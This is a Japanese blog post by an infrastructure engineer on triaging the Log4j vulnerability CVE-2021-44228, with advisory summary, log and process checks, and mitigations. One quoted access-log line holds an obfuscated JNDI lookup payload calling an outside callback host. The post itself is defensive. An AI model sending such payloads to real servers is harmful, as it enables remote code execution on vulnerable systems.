今話題のlog4jの脆弱性、もちろんうちの会社もてんやわんやしました。まだ未対応の人たちもガンバレーと他人事。インフラ視点なので参考になるかどうかはあなた次第。
※2021/12/13追記
Trendmicroからこんな診断ツールが提供されてるみたい。使い方は下記からどうぞ
今回の脆弱性について
- JPCERTの情報
- Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起
Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起
- ざっくり内容
- Apache Log4jとはアプリケーションのログ出力のライブラリ
- LOOKUPという機能を悪用し、情報を取られて、任意コードが実行されるというものらしい
- 影響対象
- Apache Log4j-core 2.15.0より前の2系のバージョン
- EoLを迎えている1系では影響ないとのこと
調査方法
- 狙われてるかどうか
- たぶん、この辺りが該当するのだろう
# cat /var/log/httpd/access.* | grep -i log4
178.62.222.131 - - [13/Dec/2021:09:38:43 +0900] "GET / HTTP/1.1" 200 2164 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}" 1608
- プロセスで見れるか
- おぉHITする。まぁ1系みたいだけど
# ps -ef | grep log4j
user 14671 1 3 21:25 ? 00:00:04 ・・・(省略)・・・/usr/local/hoge/lib/log4j-1.2.17.jar:/usr/local/hoge/lib/log4j-over-slf4j-1.7.12.jar:/usr/local/hoge/lib/log4jdbc-1.2.jar・・・(省略)・・・
- 全検索が手っ取り早い
# find / -name "*log4j*.jar"
総括
インフラ側は全検索をやってあげるぐらい。アプリ側で入れてるかどうかちゃんと見てねという感じ。万が一影響するバージョンで入ってるなら、やられたかどうかをログから追ってあげて、場合によって対処。Apacheってなってるからとりあえずインフラ側にめっちゃ聞かれる。最初はわちゃわちゃしたけど蓋をあければこっちですることはあんまりない。
アプリ側の対応になるので詳しくは知らないけど、下記のような対応を取るらしい
- バージョン2.10より前
- JndiLookupクラスをクラスパスから削除
- バージョン2.10およびそれ以降
- JVM起動時に「log4j2.formatMsgNoLookups」のJVMフラグオプションを指定
- 環境変数「LOG4J_FORMAT_MSG_NO_LOOKUPS」を「true」に設定
- 他
- 2.15.0にバージョンアップ
コメント